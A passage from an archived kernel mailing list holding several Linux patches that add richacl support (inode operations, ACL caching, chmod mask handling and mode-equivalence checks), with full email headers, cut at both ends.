atomic_dec_and_test(&acl->a_refcount)) - kfree_rcu(acl, a_rcu); + BUILD_BUG_ON(offsetof(struct posix_acl, a_base) != 0); + put_base_acl(&acl->a_base); } diff --git a/include/linux/richacl.h b/include/linux/richacl.h index d5fa7b9..575ec32 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -94,7 +94,7 @@ static inline struct richacl * richacl_get(struct richacl *acl) { if (acl) - atomic_inc(&acl->a_refcount); + atomic_inc(&acl->a_base.ba_refcount); return acl; } -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1F9F47F89 for ; Fri, 16 Oct 2015 10:19:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BFF65AC003 for ; Fri, 16 Oct 2015 08:19:48 -0700 (PDT) X-ASG-Debug-ID: 1445008787-04bdf06db2729f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FpSELMKd2eSBO9F4 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:48 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id B4A9FAEF31; Fri, 16 Oct 2015 15:19:47 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbs011947; Fri, 16 Oct 2015 11:19:41 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 11/48] vfs: Add get_richacl and set_richacl inode operations Date: Fri, 16 Oct 2015 17:17:49 +0200 X-ASG-Orig-Subj: [PATCH v11 11/48] vfs: Add get_richacl and set_richacl inode operations Message-Id: <1445008706-15115-12-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008787 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 These operations are similar to the get_acl and set_acl operations for POSIX ACLs. The distinction between access and default ACLs doesn't exist for richacls. Signed-off-by: Andreas Gruenbacher --- include/linux/fs.h | 2 ++ 1 file changed, 2 insertions(+) diff --git a/include/linux/fs.h b/include/linux/fs.h index 3c22c92..08fde42 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1662,6 +1662,7 @@ struct inode_operations { const char * (*follow_link) (struct dentry *, void **); int (*permission) (struct inode *, int); struct posix_acl * (*get_acl)(struct inode *, int); + struct richacl * (*get_richacl)(struct inode *); int (*readlink) (struct dentry *, char __user *,int); void (*put_link) (struct inode *, void *); @@ -1691,6 +1692,7 @@ struct inode_operations { umode_t create_mode, int *opened); int (*tmpfile) (struct inode *, struct dentry *, umode_t); int (*set_acl)(struct inode *, struct posix_acl *, int); + int (*set_richacl)(struct inode *, struct richacl *); /* WARNING: probably going away soon, do not use! */ } ____cacheline_aligned; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4F26D7F6C for ; Fri, 16 Oct 2015 10:19:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E8198F8059 for ; Fri, 16 Oct 2015 08:19:55 -0700 (PDT) X-ASG-Debug-ID: 1445008794-04bdf06db272a30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id R27G3CnxtM0JOLUA (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:54 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 49E52C0BFD05; Fri, 16 Oct 2015 15:19:54 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbt011947; Fri, 16 Oct 2015 11:19:48 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 12/48] vfs: Cache richacl in struct inode Date: Fri, 16 Oct 2015 17:17:50 +0200 X-ASG-Orig-Subj: [PATCH v11 12/48] vfs: Cache richacl in struct inode Message-Id: <1445008706-15115-13-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008794 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Cache richacls in struct inode so that this doesn't have to be done individually in each filesystem. This is similar to POSIX ACLs. Signed-off-by: Andreas Gruenbacher --- fs/inode.c | 11 ++++++-- fs/posix_acl.c | 2 +- fs/richacl_base.c | 4 +-- fs/richacl_inode.c | 75 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/fs.h | 5 +++- include/linux/richacl.h | 15 ++++++---- 6 files changed, 100 insertions(+), 12 deletions(-) diff --git a/fs/inode.c b/fs/inode.c index 2a387f4..8462ddb 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -174,8 +174,11 @@ int inode_init_always(struct super_block *sb, struct inode *inode) inode->i_private = NULL; inode->i_mapping = mapping; INIT_HLIST_HEAD(&inode->i_dentry); /* buggered by rcu freeing */ -#ifdef CONFIG_FS_POSIX_ACL - inode->i_acl = inode->i_default_acl = ACL_NOT_CACHED; +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) + inode->i_acl = ACL_NOT_CACHED; +# if defined(CONFIG_FS_POSIX_ACL) + inode->i_default_acl = ACL_NOT_CACHED; +# endif #endif #ifdef CONFIG_FSNOTIFY @@ -231,11 +234,13 @@ void __destroy_inode(struct inode *inode) atomic_long_dec(&inode->i_sb->s_remove_count); } -#ifdef CONFIG_FS_POSIX_ACL +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) if (inode->i_acl && inode->i_acl != ACL_NOT_CACHED) put_base_acl(inode->i_acl); +# if defined(CONFIG_FS_POSIX_ACL) if (inode->i_default_acl && inode->i_default_acl != ACL_NOT_CACHED) put_base_acl(inode->i_default_acl); +# endif #endif this_cpu_dec(nr_inodes); } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index b3b2265..1d766a5 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -38,7 +38,7 @@ struct posix_acl *get_cached_acl(struct inode *inode, int type) { struct posix_acl **p = acl_by_type(inode, type); struct posix_acl *acl = ACCESS_ONCE(*p); - if (acl) { + if (acl && IS_POSIXACL(inode)) { spin_lock(&inode->i_lock); acl = *p; if (acl != ACL_NOT_CACHED) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 4a10174..78e81df 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -33,7 +33,7 @@ richacl_alloc(int count, gfp_t gfp) struct richacl *acl = kzalloc(size, gfp); if (acl) { - atomic_set(&acl->a_refcount, 1); + atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; } return acl; @@ -52,7 +52,7 @@ richacl_clone(const struct richacl *acl, gfp_t gfp) if (dup) { memcpy(dup, acl, size); - atomic_set(&dup->a_refcount, 1); + atomic_set(&dup->a_base.ba_refcount, 1); } return dup; } diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index 5098717..c0458db 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -20,6 +20,81 @@ #include #include +struct richacl *get_cached_richacl(struct inode *inode) +{ + struct richacl *acl; + + acl = (struct richacl *)ACCESS_ONCE(inode->i_acl); + if (acl && IS_RICHACL(inode)) { + spin_lock(&inode->i_lock); + acl = (struct richacl *)inode->i_acl; + if (acl != ACL_NOT_CACHED) + acl = richacl_get(acl); + spin_unlock(&inode->i_lock); + } + return acl; +} +EXPORT_SYMBOL_GPL(get_cached_richacl); + +struct richacl *get_cached_richacl_rcu(struct inode *inode) +{ + return (struct richacl *)rcu_dereference(inode->i_acl); +} +EXPORT_SYMBOL_GPL(get_cached_richacl_rcu); + +void set_cached_richacl(struct inode *inode, struct richacl *acl) +{ + struct base_acl *old = NULL; + + spin_lock(&inode->i_lock); + old = inode->i_acl; + rcu_assign_pointer(inode->i_acl, &richacl_get(acl)->a_base); + spin_unlock(&inode->i_lock); + if (old != ACL_NOT_CACHED) + put_base_acl(old); +} +EXPORT_SYMBOL_GPL(set_cached_richacl); + +void forget_cached_richacl(struct inode *inode) +{ + struct base_acl *old = NULL; + + spin_lock(&inode->i_lock); + old = inode->i_acl; + inode->i_acl = ACL_NOT_CACHED; + spin_unlock(&inode->i_lock); + if (old != ACL_NOT_CACHED) + put_base_acl(old); +} +EXPORT_SYMBOL_GPL(forget_cached_richacl); + +struct richacl *get_richacl(struct inode *inode) +{ + struct richacl *acl; + + acl = get_cached_richacl(inode); + if (acl != ACL_NOT_CACHED) + return acl; + + if (!IS_RICHACL(inode)) + return NULL; + + /* + * A filesystem can force a ACL callback by just never filling the + * ACL cache. But normally you'd fill the cache either at inode + * instantiation time, or on the first ->get_richacl call. + * + * If the filesystem doesn't have a get_richacl() function at all, + * we'll just create the negative cache entry. + */ + if (!inode->i_op->get_richacl) { + set_cached_richacl(inode, NULL); + return NULL; + } + return inode->i_op->get_richacl(inode); +} +EXPORT_SYMBOL_GPL(get_richacl); + /** * richacl_permission - richacl permission check algorithm * @inode: inode to check diff --git a/include/linux/fs.h b/include/linux/fs.h index 08fde42..d91deef 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -583,6 +583,7 @@ struct base_acl { }; }; struct posix_acl; +struct richacl; #define ACL_NOT_CACHED ((void *)(-1)) #define IOP_FASTPERM 0x0001 @@ -601,9 +602,11 @@ struct inode { kgid_t i_gid; unsigned int i_flags; -#if defined(CONFIG_FS_POSIX_ACL) +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) struct base_acl *i_acl; +# if defined(CONFIG_FS_POSIX_ACL) struct base_acl *i_default_acl; +# endif #endif const struct inode_operations *i_op; diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 575ec32..7562ab4 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -31,7 +31,7 @@ struct richace { }; struct richacl { - atomic_t a_refcount; + struct base_acl a_base; unsigned int a_owner_mask; unsigned int a_group_mask; unsigned int a_other_mask; @@ -93,8 +93,7 @@ struct richacl { static inline struct richacl * richacl_get(struct richacl *acl) { - if (acl) - atomic_inc(&acl->a_base.ba_refcount); + get_base_acl(&acl->a_base); return acl; } @@ -104,10 +103,16 @@ richacl_get(struct richacl *acl) static inline void richacl_put(struct richacl *acl) { - if (acl && atomic_dec_and_test(&acl->a_refcount)) - kfree(acl); + BUILD_BUG_ON(offsetof(struct richacl, a_base) != 0); + put_base_acl(&acl->a_base); } +extern struct richacl *get_cached_richacl(struct inode *); +extern struct richacl *get_cached_richacl_rcu(struct inode *); +extern void set_cached_richacl(struct inode *, struct richacl *); +extern void forget_cached_richacl(struct inode *); +extern struct richacl *get_richacl(struct inode *); + /** * richace_is_owner - check if @ace is an OWNER@ entry */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 91D087F6C for ; Fri, 16 Oct 2015 10:20:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3C049AC003 for ; Fri, 16 Oct 2015 08:20:02 -0700 (PDT) X-ASG-Debug-ID: 1445008800-04bdf06db272a70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BrnaQAKy7DRvVOu4 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:01 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id CD4CC3CBA34; Fri, 16 Oct 2015 15:20:00 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbu011947; Fri, 16 Oct 2015 11:19:54 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 13/48] richacl: Update the file masks in chmod() Date: Fri, 16 Oct 2015 17:17:51 +0200 X-ASG-Orig-Subj: [PATCH v11 13/48] richacl: Update the file masks in chmod() Message-Id: <1445008706-15115-14-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008801 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Doing a chmod() sets the file mode, which includes the file permission bits. When a file has a richacl, the permissions that the richacl grants need to be limited to what the new file permission bits allow. This is done by setting the file masks in the richacl to what the file permission bits map to. The richacl access check algorithm takes the file masks into account, which ensures that the richacl cannot grant too many permissions. It is possible to explicitly add permissions to the file masks which go beyond what the file permission bits can grant (like the RICHACE_WRITE_ACL permission). The POSIX.1 standard calls this an alternate file access control mechanism. A subsequent chmod() would ensure that those permissions are disabled again. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 42 ++++++++++++++++++++++++++++++++++++++++++ fs/richacl_inode.c | 30 ++++++++++++++++++++++++++++++ include/linux/richacl.h | 2 ++ 3 files changed, 74 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 78e81df..764d73a 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -340,3 +340,45 @@ restart: acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); } EXPORT_SYMBOL_GPL(richacl_compute_max_masks); + +/** + * __richacl_chmod - update the file masks to reflect the new mode + * @acl: access control list + * @mode: new file permission bits including the file type + * + * Return a copy of @acl where the file masks have been replaced by the file + * masks corresponding to the file permission bits in @mode, or returns @acl + * itself if the file masks are already up to date. Takes over a reference + * to @acl. + */ +struct richacl * +__richacl_chmod(struct richacl *acl, umode_t mode) +{ + unsigned int x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + unsigned int owner_mask, group_mask, other_mask; + struct richacl *clone; + + owner_mask = richacl_mode_to_mask(mode >> 6) & ~x; + group_mask = richacl_mode_to_mask(mode >> 3) & ~x; + other_mask = richacl_mode_to_mask(mode) & ~x; + + if (acl->a_owner_mask == owner_mask && + acl->a_group_mask == group_mask && + acl->a_other_mask == other_mask && + (acl->a_flags & RICHACL_MASKED) && + (acl->a_flags & RICHACL_WRITE_THROUGH)) + return acl; + + clone = richacl_clone(acl, GFP_KERNEL); + richacl_put(acl); + if (!clone) + return ERR_PTR(-ENOMEM); + + clone->a_flags |= (RICHACL_WRITE_THROUGH | RICHACL_MASKED); + clone->a_owner_mask = owner_mask; + clone->a_group_mask = group_mask; + clone->a_other_mask = other_mask; + + return clone; +} +EXPORT_SYMBOL_GPL(__richacl_chmod); diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index c0458db..be11832 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -222,3 +222,33 @@ out: return denied ? -EACCES : 0; } EXPORT_SYMBOL_GPL(richacl_permission); + +/** + * richacl_chmod - filesystem chmod helper + * @inode: inode whose file permission bits to change + * @mode: new file permission bits including the file type + * + * Helper for filesystems to use to perform a chmod on the richacl of an inode. + */ +int +richacl_chmod(struct inode *inode, umode_t mode) +{ + struct richacl *acl; + int retval; + + if (S_ISLNK(mode)) + return -EOPNOTSUPP; + if (!inode->i_op->set_richacl) + return -EOPNOTSUPP; + acl = get_richacl(inode); + if (IS_ERR_OR_NULL(acl)) + return PTR_ERR(acl); + acl = __richacl_chmod(acl, mode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + retval = inode->i_op->set_richacl(inode, acl); + richacl_put(acl); + + return retval; +} +EXPORT_SYMBOL(richacl_chmod); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 7562ab4..e42e882 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -221,8 +221,10 @@ extern int richacl_masks_to_mode(const struct richacl *); extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); +extern struct richacl *__richacl_chmod(struct richacl *, umode_t); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); +extern int richacl_chmod(struct inode *, umode_t); #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 729427FAF for ; Fri, 16 Oct 2015 10:20:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 54F8A304062 for ; Fri, 16 Oct 2015 08:20:09 -0700 (PDT) X-ASG-Debug-ID: 1445008807-04cbb035a9437f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id wH4P8Jpt0LqGST3Y (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:08 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 6898DC0B64D5; Fri, 16 Oct 2015 15:20:07 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbv011947; Fri, 16 Oct 2015 11:20:01 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 14/48] richacl: Check if an acl is equivalent to a file mode Date: Fri, 16 Oct 2015 17:17:52 +0200 X-ASG-Orig-Subj: [PATCH v11 14/48] richacl: Check if an acl is equivalent to a file mode Message-Id: <1445008706-15115-15-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008808 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 ACLs are considered equivalent to file modes if they only consist of owner@, group@, and everyone@ entries, the owner@ permissions do not depend on whether the owner is a member in the owning group, and no inheritance flags are set. This test is used to avoid storing richacls if the acl can be computed from the file permission bits. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 104 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 105 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 764d73a..f4b8d3c 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -382,3 +382,107 @@ __richacl_chmod(struct richacl *acl, umode_t mode) return clone; } EXPORT_SYMBOL_GPL(__richacl_chmod); + +/** + * richacl_equiv_mode - compute the mode equivalent of @acl + * + * An acl is considered equivalent to a file mode if it only consists of + * owner@, group@, and everyone@ entries and the owner@ permissions do not + * depend on whether the owner is a member in the owning group. + */ +int +richacl_equiv_mode(const struct richacl *acl, umode_t *mode_p) +{ + umode_t mode = *mode_p; + + /* + * The RICHACE_DELETE_CHILD flag is meaningless for non-directories, so + * we ignore it. + */ + unsigned int x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + struct { + unsigned int allowed; + unsigned int defined; /* allowed or denied */ + } owner = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | + RICHACE_POSIX_OWNER_ALLOWED | x, + }, group = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | x, + }, everyone = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | x, + }; + const struct richace *ace; + + if (acl->a_flags & ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED)) + return -1; + + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & ~RICHACE_SPECIAL_WHO) + return -1; + + if (richace_is_owner(ace) || richace_is_everyone(ace)) { + x = ace->e_mask & ~owner.defined; + if (richace_is_allow(ace)) { + unsigned int group_denied = + group.defined & ~group.allowed; + + if (x & group_denied) + return -1; + owner.allowed |= x; + } else /* if (richace_is_deny(ace)) */ { + if (x & group.allowed) + return -1; + } + owner.defined |= x; + + if (richace_is_everyone(ace)) { + x = ace->e_mask; + if (richace_is_allow(ace)) { + group.allowed |= + x & ~group.defined; + everyone.allowed |= + x & ~everyone.defined; + } + group.defined |= x; + everyone.defined |= x; + } + } else if (richace_is_group(ace)) { + x = ace->e_mask & ~group.defined; + if (richace_is_allow(ace)) + group.allowed |= x; + group.defined |= x; + } else + return -1; + } + + if (group.allowed & ~owner.defined) + return -1; + + if (acl->a_flags & RICHACL_MASKED) { + if (acl->a_flags & RICHACL_WRITE_THROUGH) { + owner.allowed = acl->a_owner_mask; + everyone.allowed = acl->a_other_mask; + } else { + owner.allowed &= acl->a_owner_mask; + everyone.allowed &= acl->a_other_mask; + } + group.allowed &= acl->a_group_mask; + } + + mode = (mode & ~S_IRWXUGO) | + (richacl_mask_to_mode(owner.allowed) << 6) | + (richacl_mask_to_mode(group.allowed) << 3) | + richacl_mask_to_mode(everyone.allowed); + + /* Mask flags we can ignore */ + x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + + if (((richacl_mode_to_mask(mode >> 6) ^ owner.allowed) & ~x) || + ((richacl_mode_to_mask(mode >> 3) ^ group.allowed) & ~x) || + ((richacl_mode_to_mask(mode) ^ everyone.allowed) & ~x)) + return -1; + + *mode_p = mode; + return 0; +} +EXPORT_SYMBOL_GPL(richacl_equiv_mode); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index e42e882..49d84dd 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -222,6 +222,7 @@ extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); +extern int richacl_equiv_mode(const struct richacl *, umode_t *); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 086D17F6C for ; Fri, 16 Oct 2015 10:20:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 82C39AC001 for ; Fri, 16 Oct 2015 08:20:16 -0700 (PDT) X-ASG-Debug-ID: 1445008814-04cbb035a943800001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id py10NXZU3Jw1RSkq (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:15 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 116AE91EAA; Fri, 16 Oct 2015 15:20:14 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbw011947; Fri, 16 Oct 2015 11:20:08 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 15/48] richacl: Create-time inheritance Date: Fri, 16 Oct 2015 17:17:53 +0200 X-ASG-Orig-Subj: 